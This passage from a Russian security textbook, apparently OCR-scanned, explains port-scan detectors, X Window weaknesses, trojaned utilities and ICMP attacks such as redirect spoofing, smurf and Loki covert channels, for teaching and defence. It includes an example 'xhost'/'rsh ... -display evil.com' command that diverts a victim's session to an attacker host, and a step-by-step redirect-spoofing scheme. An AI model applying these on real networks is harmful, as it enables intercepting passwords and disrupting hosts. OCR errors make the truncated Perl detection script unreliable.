Для Windows 98 Task Manager не показывает всех приложений, работающих на локальном компьютере. Не анализируются драйверы устройств, и, как в NT, нет привязки приложений к открытым портам. Но для Windows 98 есть средство, показывающее, какое приложение запущено в системе. Это утилита конфигурирования системы System Configuration Utility (MSConfig.exe), находящаяся в директории C:\Windows\System. System Configuration Utility обеспечивает единый интерфейс для просмотра файлов config.sys, autoexec.bat, system.ini и win.ini. Можно запретить открытие этих файлов (удалением или перемещением соответствующих меток). Также можно создать резервные копии всех нужных файлов.
Другая полезная утилита - Microsoft System Information Tool (Msinfo32.exe). При установке Microsoft Office ее можно поместить в директорию C:\Program Files\
4. Атаки на открытые системы
355
Common FilesYMicrosoft Shared\MSINFO\. Она выполняет функции предыдущей утилиты и плюс показывает, какая часть процесса инициализации уже загружена (registry, startup group, autoexec.bat...) и какие модули работают в системе.
Заключая данный параграф, назовем системы, которые могут обнаруживать перехват данных по портам.
Port Scan Attack Detector (PSAD) [http://www.cipherdyne.com/psad/] — система обнаружения сканирования портов только для платформы Linux. Программа позволяет конфигурировать пороги опасностей (с разумными значениями по умолчанию), подробные аварийные сообщения, которые включают источник, адресат, просмотренный диапазон портов, начальное и конечное время, TCP flag и соответствующую опцию nmap (только для Linux 2.4.x), автоматическое блокирование атакующих IP-адресов через динамическую конфигурацию наборов правил межсетевой защиты IPCHAINS/IPTABLES. Кроме того, для обнаружения различных backdoor-программ (например, EvilFTP, Girlfriend, SubSeven) и инструментальных средств DDoS (mstream, shaft) и расширенного просмотра портов (syn, fin, Xmas) PSAD для Linux 2.4.x включает многие из TCP-сигнатур, входящих в программу Snort.
PromiScan [http://www.securityfriday.com/] — инструмент Windows 2000, который помогает системным администраторам найти снифферы в локальной сети. Он не создает большой загрузки в сети. Для работы необходим драйвер WinPcap. Очень удобен для проверки безопасности локальной сети. Платформы, на которых работает система - Windows 2000/ХР.
Anti-Hack 2.0 для Windows — система контроля портов с новыми особенностями типа: звуковое уведомление о попытках подключения; детальный список попыток подключения; ответ хакеру о перехвате его подключения; способность наблюдать одновременно за 125 портами.
PromiscDetect [http://www.ntsecurity.nu/toolbox/promiscdetect/] — проверяет сетевой адаптер на работу в PROMISC-режиме и позволяет идентифицировать снифферы. Поддерживаемые платформы - Windows 2000/NT/XP.
PortSentry [http://www.psionic.com/products/portsentry.html] хороша как дополнение к МЭ, или как автономная система. Она разработана для обнаружения сканирований портов, включая SYN/half-open, FIN, NULL, Xmas и др. После идентификации сканирования PortSentry может выполнять следующие действия: блокировать осуществляемое сканирование; изменять маршрут нападающего; блокировать компьютер от любого подключения к нужному порту; добавлять сканируемый хост к правилам доступа МЭ; записывать нарушения в журнал регистрации; осуществлять заранее запланированное действие в отношении сканирующего компьютера.
4.3.2.	Мониторинге графических интерфейсах
На многих ПК с ОС Unix используется графический интерфейс пользователя (Graphical User Interface, GUI), известный как X Window (иначе называемый XII). Это интерфейс между пользователем и программой, определяющий способ взаимодействия пользователя и программы. Он позволяет пользователю легко выполнять несколько приложений и переходить с одного на другое. Пользователь начинает X-сессию, соединяясь с Х-сервером и указывая, что данные должны посылаться на определенный терминал. Это может быть как системная консоль, так и любой другой терминал, соединенный с сервером. Взаимодействие Х-клиента и Х-сервера проис
356
Информационная безопасность открытых систем
ходит в рамках протокола прикладного уровня - Х-протокола. Х-сервер представляет собой отдельный Unix-процесс. Он общается с программами-клиентами, посылая им или принимая от них пакеты данных. Если сервер и клиент находятся на разных ПК, то данные пересылаются по сети, а если на одном, то используется внутренний канал.
X Window обеспечивает два различных механизма аутентификации:
	механизм аутентификации хостов, который позволяет определить, с какого компьютера приложения могут соединяться с Х-сервером, т. е. заранее определяется список доверенных ПК;
	механизм аутентификации пользователей, который позволяет определить пользователей, имеющих доступ к Х-серверу.
Все сетевые службы, кроме portmapper, могут быть обнаружены с помощью перебора всех сетевых портов. Многие сетевые утилиты и оконные системы работают с конкретными портами (sendmail - с портом 25, Telnet - с портом 23 и т. п.). Порт X Window обычно 6000. По своей природе система X Window недостаточно защищена от перехвата данных. Без дополнительной защиты экраны X Window могут быть захвачены или просмотрены, ввод пользователя может быть украден, программы могут быть удаленно выполнены и т. п. Имеется ряд проблем с X Window, включая возможности для нападающих блокировать доступ к серверу, выполнять на нем нежелательные команды и перехватывать ввод, сгенерированный на сервере. Одним из методов определения уязвимости Х-сервера является подсоединение к нему через функцию XOpenDisplay (). Если функция возвращает не NULL, то можно получить доступ к дисплею. При помощи простой программы, доступной в хакерской среде, все нажатия клавиш в некоторой сессии X Window могут быть перехвачены и сохранены в файле. Любая сессия Telnet или FTP, выполняемая внутри Х-окна в контролируемой системе, будет передавать в руки злоумышленников ценную информацию относительно имен пользователей и их паролей.
Х-терминалы, гораздо менее мощные системы по сравнению с серверами, могут иметь свои проблемы по части безопасности. Предположим, что пользователь работает на рабочей станции-клиенте. В сети существует сервер, на котором этот пользователь хочет выполнять свои приложения вместо того, чтобы выполнять их на локальной рабочей станции. Для этого пользователь сначала должен разрешить приложениям, выполняющимся на сервере, соединяться с его Х-сервером. В X Window это легко сделать, задавая определенные параметры или устанавливая переменную среды DISPLAY. Многие Х-терминалы разрешают неограниченный rsh-доступ, позволяя запустить Х-клиенты на терминале жертвы (victim), перенаправляя вывод на локальный терминал [44].
evil% xhost +xvictim.victim.com
evil% rsh xvictim.victim.com telnet victim.com -display evil.com
Однако при этом создается довольно опасная ситуация. Теперь любой злоумышленник, который имеет доступ к серверу, может, например, читать любую информацию, которую вводит легальный пользователь, включая пароли. В этом слабость первого механизма аутентификации.
Второй механизм использует ряд протоколов, что повышает его защищенность (Magic Cookies, Sun-DES, Kerberos, XDM-Authorization).
4. Атаки на открытые системы
357
В любом случае необходимо продумать безопасность системы X Window, поскольку иначе система будет подвергаться такому же риску, как и при наличии "+" в hosts.eguiv или отсутствии пароля у root.
4.3.3.	Подмена системных утилит
В прошлом модификации системных утилит ограничивались программой login, в которую нападающий мог запрограммировать некоторый свой пароль, предоставляющий ему неограниченный доступ к системе в любое время. Сегодня тот же метод применяется в отношении других утилит идентификации, существующих в Интернете и интранете. Широкая доступность исходного текста утилит системы Unix еще более упростила этот процесс, поскольку злоумышленник может легко найти текст нужной ему утилиты и модифицировать ее по своему усмотрению. Некоторые из лучших подделок даже компилируют до точного совпадения размера в байтах с исходной версией. Кроме традиционного "черного входа", многие подделки позволяют пользователю скрываться от программы учета процессов. Поскольку злоумышленник входит в систему через "черный вход", его присутствие не фиксируется в системных файлах регистрации.
В среде Unix имеются многочисленные системные файлы регистрации, которые следят за событиями типа некорректных попыток входа в систему, нормальных входов в систему и выходов из нее, а также за выполняемыми командами. Файл UTMP следит за всеми пользователями, в текущий момент зарегистрированными в системе. WTMP или lastlog, следит за временем входа в систему и выхода из нее. Базы данных регистрации процессов, обычно называемые acct или pacct, следят за всеми командами, выполняемыми отдельными пользователями. Если модифицировать эти файлы, пользователь останется невидимым для команд типа who, last и lastcomm. Этот тип модификации, дополненный определенными утилитами, значительно затрудняет администратору системы установление факта атаки со стороны злоумышленника.
Вот некоторые из наиболее часто модифицируемых утилит Unix:
login - программа входа в систему;
in.ftpd - системная утилита-демон, обслуживающая входящие сессии FTP;
in.telnetd — демон, обслуживающий входящие Telnet-сессии;
netstat - утилита, которая показывает все текущие соединения с хостом;
ps - утилита, которая показывает все выполняющиеся в настоящее время процессы;
su — утилита переключения пользователя;
finger — вывод общей информации о некотором пользователе.
Существуют модифицированные версии утилит идентификации для других ОС: VMS, MVS, VM/CMS и т. п. Однако Unix доминирует в глобальных компьютерных сетях, и использование языка программирования С породило множество злонамеренно модифицированного ПО.
Подмена злоумышленником системных функций возможна и для Windows-платформ. Для этого, например, в Windows NT в память загружается динамическая библиотека (DLL) с именем, совпадающим с одной из системных библиотек. Затем злоумышленник может программным путем изменить в списке системных модулей KnownDLLs ссылку на подменную системную библиотеку. После этого все вызовы к данной системной библиотеке будут обрабатываться модулем злоумышленника. В случае подмены определенных системных функций возможно несанкционирован
358
Информационная безопасность открытых систем
ное наделение пользователей правами администратора. Данная уязвимость позволяет существующим пользователям несанкционированно получать права администратора локальной или удаленной системы Windows NT. Но повышение полномочий возможно только при наличии в системе эмуляторов OS/2 или POSIX.
4.3.4.	Атаки с использованием сетевых протоколов
Много угроз несет с собой передача специальных пакетов, которые либо содержат неверную информацию, либо были преднамеренно искажены.
Пакеты для протоколов из стека TCP/IP имеют специфический порядок байтов, размер и строго определенные поля. В большинстве случаев неправильно составленный пакет будет игнорироваться и отрабатываться либо сетевым интерфейсом, либо маршрутизатором где-нибудь на пути от источника пакета к адресату. Однако в прошлом неправильно организованные пакеты вызывали причудливое поведение либо адресата, либо маршрутизатора, встречающегося на пути.
Вследствие некоторых ошибок маршрутизаторов в прошлом пакеты, состоящие из одних единиц (либо нулей), значительно замедляли работу маршрутизаторов, поскольку устройство "решало", что делать с этими странными данными. Пока маршрутизатор "решал", что делать, другие пакеты продолжали прибывать, в конечном счете забивая имеющийся буфер маршрутизатора. Это приводило к тому, что на другие пакеты не посылалось уведомление о приеме, вынуждая хост посылать их снова и снова. В некоторых случаях, когда буфер маршрутизатора заполнялся, последний либо "зависал", либо просто перезапускался. Очевидно, что и то и другое весьма нежелательно. Производители маршрутизаторов продолжают вести обширную проверку надежности своих изделий перед выпуском их на рынок, однако ошибки все еще могут иметь место.
Атаки с использованием сетевых протоколов относятся к активным. При данном типе атак злоумышленник взаимодействует с получателем информации, отправителем и/или промежуточными системами, модифицируя и/или фильтруя содержимое пакетов. В этом случае злоумышленник предпринимает определенные шаги для перехвата и модификации сетевого потока или попытки "притвориться" другой системой. Во втором случае протокол из стека TCP/IP используется для того, чтобы привести систему-жертву в нерабочее состоянии. Данные атаки часто кажутся технически сложными в реализации, однако для хорошего программиста не составляет труда создать соответствующий инструментарий.
Наиболее сложными, опасными и трудными для обнаружения являются атаки, которые нацелены на глобальные протоколы 1Р-маршрутизации [77]. Как отмечалось в гл. 3, идея этих атак состоит в том, чтобы обмануть маршрутизаторы и заставить их изменить свои таблицы маршрутизации. Это позволяет получить доступ к потоку информации взломанных систем и даже модифицировать его, отправляя на защищенные системы. Простейшая атака основана лишь на злоупотреблении параметрами протокола и заключается в создании "дублера" системы, заставляя маршрутизаторы перенаправлять все пакеты этому дублеру. Тогда пользователи устанавливают связь, например, не со своим вычислительным центром, а с программой, собирающей их имена и пароли.
Обладая достаточными привилегиями, злоумышленник может вручную формировать IP-пакеты и передавать их по сети. Естественно, поля заголовка пакета могут
4. Атаки на открытые системы
359
быть сформированы произвольным образом. Получив такой пакет, невозможно выяснить, откуда реально он был получен, поскольку пакеты не содержат пути их прохождения.
Рассмотрим несколько примеров, поясняющих принцип осуществления атак с использованием сетевых протоколов.
Атаки на основе протокола ICMP
Протокол управления сообщениями Интернета (Internet Control Message Protocol, ICMP; RFC1122) используется в сетях TCP/IP как основной метод, при помощи которого посылается важная информация относительно состояния сети. Одной из функций ICMP является удаленное управление таблицей маршрутизации на хостах внутри сегмента интранета. Динамическое удаленное управление маршрутизацией изначально задумывалось для предотвращения возможной передачи сообщений по неоптимальному маршруту и для повышения отказоустойчивости сети в целом. Предполагалось, что сетевой сегмент может быть подключен к глобальной сети не через один, а через несколько маршрутизаторов. В этом случае адресоваться во внешнюю сеть можно через любой из ближайших узлов. Это достаточно удобно с точки зрения как оптимальности маршрута, так и повышения надежности работы сети (при выходе из строя одного из маршрутизаторов связь с внешним миром возможна через другой). В обоих случаях (при изменении оптимального маршрута и при выходе из строя маршрутизатора) необходимо изменение таблицы маршрутизации в памяти сетевой ОС. Одно из назначений ICMP состоит именно в динамическом изменении таблицы маршрутизации оконечных сетевых систем.
Одной из возможностей ICMP является проверка наличия определенного адреса в сети. В случае возникновения ошибки соединения возвращается сообщение об ошибке, с описанием причины, например: "Сеть недоступна", "Адрес недоступен", "Ошибка маршрутизации" и др. В стандартной реализации TCP/IP-стек по приходе ICMP-пакета с извещением об ошибке производит определенные действия, в первую очередь перестройку таблицы маршрутизации. При этом, как побочный эффект, разрываются все установленные соединения с машиной, имеющей адрес, о котором стало известно, что он недостижим. На использовании этого эффекта и строятся "диверсии". Действительно, если знать, что компьютер с адресом А установил соединение с компьютером В, и послать ICMP-сообщение об ошибке на компьютер А с исходящим адресом компьютера В, то безусловной реакцией будет разрыв вышеупомянутого соединения. Для осуществления подобной так называемой Nuke-атаки необходимо работать с IP на более низком уровне, нежели стандартные функции ОС. Атаке Nuke подвержены пользователи, длительное время присутствующие в сети. Например, пользователи IRC и веб-чатов.
Основные типы сообщений ICMP - эхо-запрос (echo request), "адресат недоступен" (destination unreachable) и пакет переадресации (redirect). Каждое из этих сообщений может быть использовано, чтобы создать хаос в сети.
Эхо-пакет ICMP является основой работы одной из наиболее важных функций ТСРЛР — ping. Администраторы используют его для проверки функционирования некоторого элемента сети. Обычно пакет ping состоит менее, чем из 100 байт и отправляется через равные промежутки времени и только на очень короткий период. Однако эхо-запрос ICMP может быть сконфигурирован на различную длину — до нескольких тысяч байт. При этом длины посылаемого и возвращаемого пакетов равны.
360
Информационная безопасность открытых систем
Имелись многочисленные примеры атак на хосты, "обстреливаемые" очень большими эхо-пакетами ICMP со скоростью в несколько тысяч пакетов в минуту. Это неизбежно засоряло хост-адресат, поскольку сетевой интерфейс вынужден был не только интерпретировать каждый из входящих пакетов, но и формировать соответствующий ответ на него. Это особенно разрушительно для ПК, подключенных к Интернету посредством протоколов SLIP (Serial Line Internet Protocol - протокол для последовательного канала) или PPP (Point-to-Point Protocol - соединение типа "точка-точка", для передачи данных по выделенным и коммутируемым линиям связи), поскольку приток пакетов не только засоряет их и отнимает системные ресурсы, но буквально начинает заполнять всю доступную им полосу пропускания ICMP-пакетами. Не имея свободной полосы пропускания для пакетов TCP или UDP, сетевое соединение обесценивается для пользователя.
Такие атаки называются ping-наводнением (от англ, ping flooding). Во время этой атаки происходит посылка компьютерной системе жертвы большого количества эхо-запросов ICMP. В результате происходит уменьшение полосы пропускания канала и загрузка системы анализом пришедших пакетов и генерацией на них ответов, что приводит к резкому снижению производительности системы и росту загруженности каналов связи. Такие атаки являются примером DoS-атак.
Неверно сконструированные пакеты переадресации ICMP используются, чтобы генерировать ложную маршрутизацию между хостами и способствовать перехвату пакетов. ICMP-сообщение о недоступности хоста может блокировать соединения хоста со своей сетью или выборочно отключать сессии, подобные Telnet (это также пример DoS-атаки). Другие протоколы, типа протокола маршрутизации RIP, используются для того, чтобы заставить маршрутизаторы и хосты посылать пакеты в неверном направлении.
Как следует из спецификации протокола ICMP, сообщение Redirect бывает нескольких видов. Первый вид сообщения (код 0) Redirect Datagrams for the Network (таблица данных перенаправления в сетях) уведомляет хост о необходимости смены адреса маршрутизатора, заданного по умолчанию, или о смене маршрута к определенной подсети. Второй вид (код 1) Redirect Datagrams for the Host (таблица данных перенаправления для хоста) информирует хост о том, что следует создать новый маршрут к отмеченному в сообщении объекту и внести его в таблицу маршрутизации, указывая IP-адрес хоста, для которого нужна смена маршрута (адрес заносится в поле адресата Destination), и новый IP-адрес маршрутизатора, куда необходимо направлять пакеты для данного хоста (этот адрес заносится в поле Gateway).
Сообщение Redirect Datagrams for the Network является устаревшим и уже не используется современными сетевыми ОС [44]. Иначе дело обстоит с управляющим сообщением Redirect Datagrams for the Host. На практике многие из известных ОС игнорируют это сообщение. Например, если в версии Linux 1.2.8 еще была реакция на сообщение, то уже в версии Linux 2.0.0 оно игнорировалось. Windows NT реагирует на такое сообщение, позволяя удаленно изменять таблицу маршрутизации на любом Windows-хосте. Опасность в реакции сетевой ОС на сообщение Redirect Datagrams for the Host заключается в несанкционированном изменении маршрутизации на хосте и реализации атаки, которая называется подменой хоста (Host spoofing). Анализ механизма идентификации ICMP-сообщения Redirect показывает, что единственным параметром, идентифицирующим это сообщение, является IP-адрес отправителя, ко
4. Атаки на открытые системы
361
торый должен совпадать с IP-адресом маршрутизатора, так как это сообщение может и должно передаваться только маршрутизатором. Особенность ICMP-протокола состоит в том, что он не предусматривает никакой дополнительной аутентификации источников сообщений. ICMP-сообщения передаются на хост маршрутизатором од-нонаправлено без создания виртуального соединения. А так как изначально ни хост, ни маршрутизатор не имеют заранее определенной статической ключевой информации для идентификации ICMP-сообщения Redirect, то у его получателя в данном случае нет возможности установить подлинность отправителя этого однонаправленного ICMP-сообщения. Следовательно, ничто не мешает атакующему самому послать ложное ICMP Redirect-сообщение о смене маршрута от имени маршрутизатора. Это позволяет осуществить ТУА "Внедрение в РВС ложного объекта путем навязывания ложного маршрута". Для ее осуществления достаточно подготовить ложное ICMP-сообщение Redirect, в котором указать конечный IP-адрес маршрута (адрес хоста, маршрут к которому будет изменен) и IP-адрес ложного маршрутизатора. Далее это сообщение передается на атакуемый хост от имени маршрутизатора. Для этого в IP-заголовке в поле адреса отправителя указывается IP-адрес маршрутизатора.
Имеются два варианта данной УА. В первом случае атакующий находится в том же сегменте интранета, в котором находится и цель атаки. Тогда, послав ложное ICMP-сообщение, в качестве IP-адреса нового маршрутизатора он может указать либо свой IP-адрес, либо любой из адресов данной подсети. Это даст атакующему возможность пере-маршрутизировать сообщения, направляемые атакованным хостом на определенный IP-адрес, а также получить контроль над трафиком между атакуемым хостом и интересующим его сервером. Далее атака перейдет во вторую стадию, связанную с приемом, анализом и передачей пакетов, получаемых от "обманутого" хоста.
Рассмотрим функциональную схему осуществления этой У А.
	Передача на атакуемый хост ложного ICMP-сообщения Redirect Datagrams for the Host.
	Если пришел ARP-запрос от атакуемого хоста, то посылается ARP-ответ.
	Если пришел пакет от атакуемого хоста, то он переправляется на настоящий маршрутизатор.
	Если пришел пакет от маршрутизатора, то он переправляется на атакуемый хост.
	При приеме пакета возможно воздействие на информацию по схеме "ложный объект сети".
В случае осуществления второго варианта УА атакующий находится в другом сегменте относительно цели атаки. Тогда при передаче на атакуемый хост ложного ICMP-сообщения Redirect сам атакующий уже не сможет получить контроля над трафиком и доступа к передаваемой по каналу связи информации, так как адрес нового маршрутизатора должен находиться в пределах подсети атакуемого хоста. Однако в этом случае атака достигает другой цели - нарушения работоспособности хоста. С любого Интернет-хоста можно послать подобное сообщение на атакуемый хост, и если сетевая ОС на данном хосте не проигнорирует данное сообщение, то в дальнейшем нарушится связь между хостом и указанным в ложном ICMP-сообщении сервером. Это произойдет из-за того, что все пакеты, направляемые хостом на этот сервер, будут отправлены на IP-адрес несуществующего маршрутизатора. Для того чтобы провести эту межсегментную атаку, необходимо, во-первых, знать внутренний IP-адрес маршрутизатора, к которому подключен хост, во-вторых, выбрать имя сер
362
Информационная безопасность открытых систем
вера, к которому требуется изменить маршрутизацию, и, в-третьих, выбрать IP-адрес ложного маршрутизатора из внутреннего атакуемого интранета.
Рассмотрим возможные сложности реализации и способы создания препятствий на пути осуществления данной атаки.
Первая проблема - внутренний IP-адрес маршрутизатора. Узнать его можно только путем простого перебора - получить этот адрес из внешней сети не представляется возможным (утилита traceroute даст только IP-адрес маршрутизатора во внешней сети). Поэтому, исходя из того, что большинство хостов в интранете находится в подсетях класса С, для осуществления этой атаки достаточно будет послать 256 ICMP-сообщений Redirect с различными IP-адресами отправителя. Например, пусть хост имеет IP-адрес 194.85.96.197 в подсети класса С. IP-адрес маршрутизатора, к которому он подключен, будет иметь те же первые 3 байта: 194.85.96. Хакеру достаточно будет перебрать только последний байт (послать 256 пакетов).
Вторая проблема - выбор имени (или IP-адреса) сервера, к которому будет изменена маршрутизация. Очевидно, что узнать, к какому серверу наиболее часто обра-шается пользователь данного хоста, не представляется возможным. Однако ничто не мешает, посылая неограниченное число ICMP-сообщений Redirect, последовательно изменять маршрутизацию к наиболее известным или наиболее часто используемым серверам Интернете (поисковые серверы, серверы известных фирм и т. д.). Дело может сильно упроститься в том случае, если злоумышленник обладает некоторой информацией об атакуемом объекте (например, он является бывшим сотрудником данной организации).
Решение третьей проблемы - выбор IP-адреса ложного маршрутизатора из внутренней атакуемой сети - не представляет труда. Утилитой ping (или хакерской программой аналогичного действия, например fping) атакующий находит любой активный в настоящий момент хост во внутреннем интранете и использует его IP-адрес в качестве адреса ложного маршрутизатора. Но нельзя употреблять в качестве адреса ложного маршрутизатора адрес любого хоста во внутреннем интранете. Дело в том, что, использовав без предварительной проверки активности любой адрес из внутреннего интранета, можно попасть на неактивный в данный момент хост. Тогда при первом же обращении с атакованного хоста на этот ложный маршрутизатор на него будет передан ARP-запрос и, не получив на него ответа (хост неактивен, например выключен из сети), ОС через небольшой интервал времени (несколько секунд) пошлет вновь данный запрос, но уже на поиск адреса старого маршрутизатора и, получив на него ответ, тут же "вычистит" из таблицы маршрутизации ложный маршрут. Таким образом, задержка в связи будет минимальна, и соответственно атака нанесет минимальный ущерб.
В том случае, если атакующий в качестве ложного маршрутизатора выберет активный хост, с ARP-ответом от него проблем не возникнет и связь будет нарушена на значительно более долгий промежуток времени. Время нарушения работоспособности для каждой сетевой ОС свое: для Windows NT 4.0 это время составляет около 10 мин.
Защититься от этой атаки можно только фильтрацией (при помощи МЭ) проходящих ICMP-сообщений Redirect. Другой способ защиты состоит в изменении исходных текстов сетевого ядра ОС с дальнейшей его перекомпиляцией с целью запретить реакцию на ICMP Redirect-сообщение. Но это возможно только в случае свобод
4. Атаки на открытые системы
363
ного распространения исходных текстов ОС (как в случае с ОС Linux или ОС FreeBSD).
Вообще подобные типы нападения довольно редки, но почти любым типом пакета, существующим в интранете, можно воспользоваться для атаки.
Странный ICMP-трафик указывает на предпринимаемую в отношении интранет атаку. Узлы, которые видят входящие эхо-ответы, когда они не посылали эхо-запросы, могут выявить, что в отношении их предпринимается расширенное зондирование. Другая проблема состоит в том, что ваше адресное пространство подменяется (имитируется, от англ, spoofed) в стиле DoS-атаки smurf (в отношении адреса источника). Узлы, которые видят исходящие эхо-ответы без эхо-запросов, хорошо бы исследовать. Узлы, которые видят исходящие широковещательные ICMP-пакеты с IP-адресом источника, не являющимся частью их собственного внутреннего адресного пространства, могут начинать атаку smurf.
ICMP в специфическом ping-трафике ранее рассматривался вполне нормально. Сегодня многие администраторы МЭ блокируют ping-трафик (но немногие блокируют эхо-ответы) к их внутренним узлам от внешнего узла.
Имеется ряд проблем, которые отмечены в связи с эхо-запросами и ответами. Выделим для примера некоторые из них.
Smurf. Атака заключается в передаче в сеть широковещательных ICMP-запросов от имени компьютера-жертвы. Компьютеры, принявшие такие пакеты, отвечают компьютеру-жертве, что приводит к существенному снижение пропускной способности канала связи или к полной изоляции атакуемой сети. Сценарий развития событий имеет эффект "кругов по воде", из-за чего даже небольшое число посланных пакетов приводит к полной загрузке процессора.
Данная атака хорошо изучена. Ее распознавание возможно при анализе загрузки канала и определении причины снижения пропускной способности. Узнать smurf можно по такому шаблону:
00:00:05 spooted.net > 192.168.15.255: icmp: echo request
00:00:05 spoofed.net > 192.168.1.255: icmp: echo request
00:00:05 spoofed.net > 192.168.14.255: icmp: echo request
00:00:05 spoofed.net > 192.168.14.0: icmp: echo request
00:00:05 spoofed.net > 192.168.15.255: icmp: echo request
00:00:05 spoofed.net > 192.168.15.0: icmp: echo request
00:00:05 spoofed.net > 192.168.16.255: icmp: echo request
Обратим внимание на одинаковое время при таком зондировании. Оно показательно для атаки на адресата типа "наводнение" (flooding).
Блокирование входящих эхо-запросов поможет предотвратить атаку smurf.
Отображение карты сети (network mapping) использует эхо-запросы ICMP-протокола в разведывательных целях. Посылая несколько пакетов с широковещательными адресами, атакующие находят активные хосты в сети. Это обычная практика нападающих.
Как и в предыдущем случае, блокирование входящих эхо-запросов поможет предотвратить такое зондирование, но это повлияет на ping-трафик.
Отображение карты сети выглядит приблизительно так:
00:00:05 non-spoofed.net > 192.168.14.255: icmp: echo request
00:00:10 non-spoofed.net > 192.168.14.0: icmp: echo request
364
Информационная безопасность открытых систем
00:00:15 non-spoofed.net > 192.168.15.255: icmp: echo request
00:00:20 non-spoofed.net > 192.168.15.0: icmp: echo request
00:00:25 non-spoofed.net > 192.168.16.255: icmp: echo request
00:00:30 non-spoofed.net > 192.168.16.0: icmp: echo request
Одна из задач атаки — определить карту сети ее таким образом, чтобы не вызвать подозрения. Пакеты посылаются не часто, а с большими интервалами. Время в примере показывает принципиальное отличие данного зондирования от атаки smurf.
Скрытые каналы связи (covert channel communication). Эхо-трафик может использоваться для создания плохо защищенных (тайных) каналов связи в сети. Ping-протокол устанавливает, что один узел (пингующий, pinger) посылает эхо-запрос адресату (пингуемому, pingee). Тогда пингуемый посылает обратно эхо-ответ. Эхо-пакеты имеют опцию включения данных с информацией о синхронизации, определяющей время прохода запроса и ответа туда и обратно. МЭ и фильтрующие маршрутизаторы не проверяют содержание этих данных, а в них можно передать вредную информацию. Такой канал плохо защищен. Большинство сетевых маршрутизаторов пропускают, отклоняют или возвращают ICMP-трафик. Так как они не фильтруют содержание данных, можно замаскировать пакеты с "троянцами" под допустимые эхо-пакеты. Один пример такого типа атаки описан в журнале "Phrack" и называется Loki. Эта атака позволяет туннелировать различные команды (например, запрос на передачу файла паролей /etc/passwd) в эхо-запросы и реакцию на них в эхо-ответы. Loki-пакет может выглядеть следующим образом:
04:19:31.8000001.2.3.4 > 192.168.5.5: icmp: echo reply (DF)
4500 0028 b5cb 4000 feO1 b229 0102 0304
c0a8 0505 0000 bc9c bf3c Ю01 0018 f81 b
OOOd d5f0 OOOd 63e8 0000 0000 0000
Инверсное отображение карты (inverse mapping). Оно позволяет просмотреть защищенную МЭ внутреннюю сеть. Здесь пакет с эхо-ответом на непосылаемый эхо-запрос - это специально созданный злоумышленником поддельный пакет, который пройдет через многие МЭ. Если маршрутизаторы получат пакет с незапрашиваемым эхо-ответом, посланный несуществующему хосту, то большинство из них пошлет назад пингующему сообщение host_unreachable (хост недоступен). Если хост существует, то маршрутизатор отбросит пакет и ничего не пошлет атакующему. Изучив, какие сообщения host_unreachable возвращены, какие пришли ответы и сколько их, атакующий может выявить активные IP-адреса внутренней сети. Это выглядит следующим образом:
00:58:16 prober> 172.20.179.41: icmp: echo reply
00:58:17 router> prober: icmp: host unreachable
03:11:50 prober> 172.20.54.94: icmp: echo reply 03:11:51 router> prober: icmp: host unreachable
Последствия таких атак довольно серьезны. Как только атакующий узнал, какие внутренние IP-адреса являются правильными, для него намного проще направить усилия на отдельные хосты. Далее эти хосты могут использовать скрытые каналы для передачи информации из внешней среды во внутреннюю сеть и наоборот. Обнаруживается скрытый канал на основе данных из пакетов с эхо-запросами. Описанная методика рассмотрена в журналах "Phrack 49" и "Phrack 51 " [http://www.phrack.com/].
4. Атаки на открытые системы
365
Отметим, что подобное зондирование очень похоже на атаку Smurf. Для их дифференцирования нужно тщательно исследовать данные пакетов.
Атака Ssping/Jolt. Атака, названная по имени реализующих ее программ, состоит в посылке по частям нескольких дефрагментированных ICMP-пакетов (echo) больших размеров. Windows NT, пытаясь собрать пакет, "зависает", что может вызвать нарушение целостности данных. Атака действует аналогично на ранние реализации POSIX и SYSV. Может быть применима к Windows NT 4.0 Workstation и Server. [Q154174: Invalid ICMP Datagram Fragments Hang Windows NT]. Защита: установка icmp-fix, зависящей от версии Windows NT, и пакетов обновлений.
Теперь перечислим ряд подходов, которые помогут остановить зондирование и возможное последующее вторжение.
1.	Полностью отключить внешний ICMP эхо-трафик, так как это прерывает внешний запуск ping. Однако нужно разрешить внутренний ping-трафик.
2.	Отключить на маршрутизаторе генерацию ответных сообщений ICMP ЕСНО_ REPLY.
3.	Удостовериться, что маршрутизаторы сконфигурированы так, чтобы не посылать пакеты unreachable хостам, которые не отвечают на протокол ARP.
4.	Реализация выборочной фильтрации. Ниже приведен исходный текст программы, проверяющей наличие сообщений ECHO REPLY, не инициированных сообщениями ECHO_REQUEST.
#!/usr/bin/perl #
#	$ld: one_day_pat.pl, v 1.41998/06/2218:28:56 wralph Exp$ #
#	Script to scan a tcpdump compressed hourly file using a pre-defined tcpdump script.
#	Parameters are: Date as YYMMDDHH and script name.
#	Written by Bill Ralph 3/20/98
#	Set up some variables.
#
use Getopt::Long;
use POSIX qw(strftime);
#
#	Catch user interrupt signal and abort the script.
#
sub sig_catch {
my $signame = shift;
diefReceived SIGSsigname.");
} # $SIG{INT}=\&sig_catch;
$CID_PATH = Vusr/local/logger";
$ENV{PATH} = 7bin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$CID_PATH“;
#
sub usage {print "Usage: one_day_skew_icmp [-d DATE] [-1 SITE].\n"; exit 2;} #
#	Parse the parameters.
#
$e_req = "echo request”;
$e_rep = “echo reply";
366
Информационная безопасность открытых систем
&GetOptions("d:s", \$snifdate, "l=s”, \$Site);
#
#	Check parameter validity.
#
if ("$Site" eq"") {usage();} #
#Once the Site is identified from the command line, load the needed external parameters #
unsh ift( @ INC, "$CID_PATH/sites“);
die (“No such site: ${Site}.“) if (I -e "$CID_PATH/sites/${Site}.ph“);
require "${Site}.ph";
#
#	If no snifdate specified on command line, assume today.
#
if ($snifdate eq {$snifdate = strftime(“%y7om%d", localtime);}
#
#	Break up the "snifdate" into its useful components.
#
$year=substr($snifdate,0,2);
$mon=substr($snifdate,2,2) -1;
$mday=substr($snifdate,4,2);
$subdir=strftime("%h7od", 0,0,0, $mday, $mon, $year, 0,0,0);
#
#	Ready to start the work now, find the hourly data files.
#
Sprint STDOUT ("${ANALYZER_DIR}/${subdir}\n");
#
chdir(”${ANALYZER_DIR}/${subdir}");
@files=<tcp.*.gz>;
$pattern="".$pattem."";
if ($files[O] eq"") {
#
#	No hourly files, they must have been already condensed into daily ones.
#
@files=<day*.gz>;}
foreach $file (©files) {
$tcpdump_command = "gunzip -c $f ile | tcpdump -r - -n";
open(RAWFILE,,l$tcpdump_command|");
while(<RAWFILE>)
{
$dataline = $_;
chomp($dataline);
if ($dataline =~/$e_req/) {
©fields = split(As+/,$dataline);
$dest_IP = $fields[3];
$dest_IP =~ sA://g;
